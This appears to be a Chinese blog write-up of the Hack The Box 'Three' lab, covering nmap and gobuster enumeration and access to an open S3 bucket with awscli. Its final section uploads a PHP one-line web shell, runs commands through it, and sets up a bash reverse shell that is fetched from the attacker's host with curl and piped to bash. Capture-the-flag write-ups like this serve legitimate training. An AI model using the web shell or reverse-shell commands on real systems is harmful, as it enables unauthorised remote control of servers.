HTB-Three

HTB-Three

1.TASK1

oyDzREGQWf8xxYr8kRG2rxNqPD86WU0PryU-gkCMBBA

输入命令:

nmap -sS -sV 10.129.247.144

-sC 使用默认脚本扫描

-sV 探测服务/版本信息

Pt6fVTlJYP2ZBKOht30060Ylhsb4cE93kiWmBZIqWTo

答案:2

2.TASK2

rePpkgNk-iE4ZfUXCpuS9GB8djZCoKtOZ-CvLx2ZAdc

问题:网站“联系人”部分提供的电子邮件地址的域是什么?

xv8m0C1LnKLJvqTHptguAVIkVLLFshyRSzMcwoAVIoo

答案:thetoppers.htb

3.TASK3

u3eB2QNr0z88v15iVOVLIXMPQ5vzNMBqJjTK4NTlZ2U

问题:在没有DNS服务器的情况下,我们可以使用哪个Linux文件将主机名解析为IP地址,以便能够访问指向这些主机名的网站?

答案:/etc/hosts

4.TASK4

hLQUil8bLRwFPaG01tlb_kJwT-ctPOQ65V7plXZfKyg

问题:在进一步枚举过程中发现了哪个子域?

输入命令:

gobuster vhost -w /usr/share/dnsenum/dns.txt -u http://thetoppers.htb/

这里答案是s3,但是我扫不出来,换了个更多的字典,甚至把里面只剩下s3也不行,不知道是为什么,如果有师傅知道的话麻烦帮我解答下,然后把s3.thetoppers.htb加入到hosts里即可打开

wMl2kKghNgxsc2TUpiChlQko0XmN5Um_ZrE-1qCjjkg

5.TASK5

tmHED6wkgXDD8xwhq_VL2shMPAYFeQ4C_WzM5k0cJ7k

问题:哪个服务正在发现的子域上运行?

答案: Amazon S3

Amazon Simple Storage Service (Amazon S3) 是由 Amazon Web Services (AWS) 提供的公共云服务。Amazon S3 通过简单的 Web 服务接口提供对象存储。它被广泛用于存储照片,视频,文本文件,文档,PDF文件,并存储大量数据的备份。

6.TASK6

fHg6oNXBFFUvjhra3EB5W_6KxHz2KZa-tKn1moj0u5g

问题:哪个命令行实用程序可以用于与在发现的子域上运行的服务交互?

答案:awscli

7.TASK7

XDzndRP_HUs_3KvLoZCPR9G7ees2URXpkdIuFBQWyAE

问题:哪个命令用于设置AWS CLI安装?

答案:aws configure

GsSW3yEtfAFw3gu3owPmCQLVDFSSI3ap1R7C9jNIO8I

8.TASK8

gWNwRqIeTgSXP3BQiGLdcUCZcqYCkOcQbQCfnUnLE7I

问题:上面的实用程序用来列出所有S3存储桶的命令是什么?

aws s3 ls --endpoint=http://s3.thetoppers.htb/ s3://thetoppers.htb #列出所有 s3 存储桶

这里记得先用aws configure设置一下ID和name,否则会报错

J0uoNETv5rpTz3x3let6BBIoGLcAl0W8cGHXpZDP__Y

9.TASK9

JwbzfBV3UqpJVkj3YMXceCXnBGefhvQKLGTA0WQsA_k

问题:此服务器配置为运行用何种web脚本语言编写的文件?

从上题命令可以看到有一个index.php文件

答案:PHP

10.SUBMIT FLAG

这里我们需要先写一个一句话木马,然后上传

echo '<?php system($_GET["cmd"]);?>' > shell.php
aws s3 cp shell.php --endpoint=http://s3.thetoppers.htb/ s3://thetoppers.htb

VFGXNSbD4-Apf_5Me3HYGjK1soKsEXdOmlfuCaOeZYw

到目录下检查一下发现上传成功

5Jk4CEiGPPpnVSuVTGkuBQ4hQfSe-yDQWOiOZ8mN6Rg

此时可以在浏览器直接执行命令

kB4lWEClRByQX0WYqIjdsoswyoiWRFMWZJFPPDifqRM

o3fagSuFiixiAMZYg_pSLtu9c2hm24GpxqR8Q_nDGWA

找到flag文件后通过cat命令可以读取

ZaRwi6hAc7P9aIRIufuh0JSy40kZzTfK-zip6xqMYhg

或者可以通过命令执行shell,curl执行bash脚本反弹shell来实现命令行交互。

首先生成bash一句话shell.sh

vi bash.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.15.94/9999 0>&1  #这里的IP是本机IP
#python创建简易服务器
python3 -m http.server 8090
#nc监听端口
nc -lvnp 9999  #监听
#浏览器执行:http://thetoppers.htb/shell.php?cmd=curl 10.10.15.94:8090/bash.sh | bash

kbL_fNjbARzH_7Mg3N5EgqSDAUyvE9MP1itnafTC3gU

OUEt6f0jhsoGnD9fc3cDgmxvltUaJrdUF-u9fQhowl0

vPyeUiEwW26UdJl5iIRIePWxEYBts3xhKdMA8D8SmfE

posted on 2024-04-05 13:31  跳河离去的鱼  阅读(52)  评论(0编辑  收藏  举报